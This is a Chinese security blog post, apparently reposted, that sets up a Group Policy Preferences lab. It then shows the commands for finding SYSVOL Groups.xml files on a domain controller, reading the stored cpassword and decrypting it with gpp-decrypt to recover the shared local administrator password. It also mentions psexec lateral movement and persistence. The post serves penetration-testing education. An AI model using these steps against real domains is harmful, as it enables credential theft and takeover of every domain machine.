通过GPP(组策略首选项)获取域内所有机器的本地管理员密码

admin 2025年6月6日21:57:26评论1 views字数 2020阅读6分44秒阅读模式

免责声明

合法使用原则:文中提及的技术、工具或案例,仅用于授权范围内的安全测试、防御研究或合规技术分享,未经授权的网络攻击、数据窃取等行为均属违法,需承担法律责任。

风险自担与责任豁免:文章内容基于公开信息整理,不保证技术的准确性、完整性或适用性。读者需自行评估技术应用风险,若因不当使用导致任何法律后果或损失,均由使用者自行承担,与本公众号及作者无关。

法律管辖与提示:本公众号坚决拥护相关法律法规,反对任何危害网络安全的行为,读者需严格遵守法律法规。

一、组策略首选项(GPP)介绍

  • 组策略首选项(Group Policy Preferences, GPP)是一种扩展了传统组策略功能的技术,它允许管理员配置和安装以前无法通过标准组策略设置的Windows和应用程序设置。
  • GPP最初是在Windows Server 2008和Windows Vista中引入的,极大地增强了管理员对用户环境的控制能力;
  • 传统组策略(如策略模板ADMX)主要控制用户和计算机的行为,而GPP则更侧重于自动化配置,适用于需要频繁调整或复杂设置的场景。
  • GPP允许管理员通过组策略配置更多复杂的设置,例如:
    • 本地用户管理:创建或修改本地用户账户及密码;给域内所有域机器的本地管理员修改密码。
    • 文件/注册表操作:部署文件、修改注册表键值。
    • 计划任务:批量创建或更新任务计划。
    • 驱动器映射:自动为域内计算机映射网络驱动器。
    • 服务配置:启动、停止或修改服务参数。

二、GPP安全风险

  • 在活动目录(Active Directory, AD)环境中,SYSVOL是一个域控制器之间共享文件的存储库,所有经过身份验证的用户都可以访问的共享文件夹,这意味着普通域用户也能够读取位于SYSVOL文件夹中的内容。
  • 当管理员使用GPP为用户或组账户创建新的策略时,相关的配置数据会被保存到SYSVOL文件夹下的一个特定XML文件中。这些文件可能包含加密后的凭据字段,用于存储诸如本地用户账户密码之类的敏感信息。尽管这些密码采用了AES-256加密算法进行保护,但加密密钥已经被微软公开发布,这使得密文可以被解密成明文。
  • 每台Windows主机有一个内置的Administrator账户,有些单位为了安全,可能会要求更改密码。而利用组策略去批量设置本地Administrator账户的密码,会造成所有的电脑都会有相同的本地Administrator密码;由于创建修改密码的策略时,密码信息会被保存到SYSVOL文件下的一个XML文件中,这个文件夹的内容又可以被域机器直接读取,所以攻击者可以控制域机器去读取这个XML文件中的密码(密文),对密文解密后就可以获取本地Administrator账户的明文密码,从而通过psexec等进行横向移动。

三、环境准备(新建GPP)

  • 在域控上运行gpmc.msc,打开组策略管理
通过GPP(组策略首选项)获取域内所有机器的本地管理员密码
  • 右键组策略对象,新建一个GPO
通过GPP(组策略首选项)获取域内所有机器的本地管理员密码
通过GPP(组策略首选项)获取域内所有机器的本地管理员密码
  • 右键新建好的组策略对象,点击编辑
通过GPP(组策略首选项)获取域内所有机器的本地管理员密码
  • 在组策略管理器中新建一个本地用户
通过GPP(组策略首选项)获取域内所有机器的本地管理员密码
  • 将域中每个计算机的本地Administrator管理员账户名改为admin,并且设置新的密码为l#123456
通过GPP(组策略首选项)获取域内所有机器的本地管理员密码
  • 回到新建好的组策略对象,将Domain Computers(域内的机器)添加到组策略应用的组中
通过GPP(组策略首选项)获取域内所有机器的本地管理员密码
  • 执行命令gpupdate,强制更新组策略设置
通过GPP(组策略首选项)获取域内所有机器的本地管理员密码
  • 此时查看新建好的组策略对象的详细信息,可以看到一个唯一ID,这个唯一ID对应了C:WindowsSYSVOLdomainPolicies路径下的文件夹名称
通过GPP(组策略首选项)获取域内所有机器的本地管理员密码
  • MachinePreferencesGroupsGroups.xml
     ⽂件⾥就是我们刚刚设置的本地用户admin的用户名和加密的密码
通过GPP(组策略首选项)获取域内所有机器的本地管理员密码

四、在域机器上获取域内所有机器的本地管理员密码

  • SYSVOL文件夹在域控上就可以访问,此时可以先通过以下命令搜索xml文件(因为攻击者不知道唯一ID)
for /r \windows2008DC/sysvol %i in (*.xml) do @echo %iwindows2008DC:域控主机名
通过GPP(组策略首选项)获取域内所有机器的本地管理员密码
  • 找到所在文件夹后就可以通过type命令去读取这个xml文件的内容,此时就可以拿到加密后的密码
type \10.10.2.128sysvolteam.comPolicies{815CA8D3-442C-4C6D-B47A-6DC99828E309}MachinePreferencesGroupsGroups.xml10.10.2.128:域控ip
通过GPP(组策略首选项)获取域内所有机器的本地管理员密码
  • 将获取的密文通过kali自带的工具去解密获取明文密码
gpp-decrypt "Ok8KhrwarX2bvHTQ3pzhNBuvUI9A8YguTVgq4hragZA"
通过GPP(组策略首选项)获取域内所有机器的本地管理员密码

五、注意

  • 需要目标域控的操作系统为winserver2008
  • 还需要目标域控设置了组策略,而且组策略内容是修改本地管理员密码
  • 从权限维持的角度来看,在横向成功后,可以通过GPP来修改账号密码

原文始发于微信公众号(AegisGuard):通过GPP(组策略首选项)获取域内所有机器的本地管理员密码

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月6日21:57:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过GPP(组策略首选项)获取域内所有机器的本地管理员密码https://cn-sec.com/archives/4142001.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息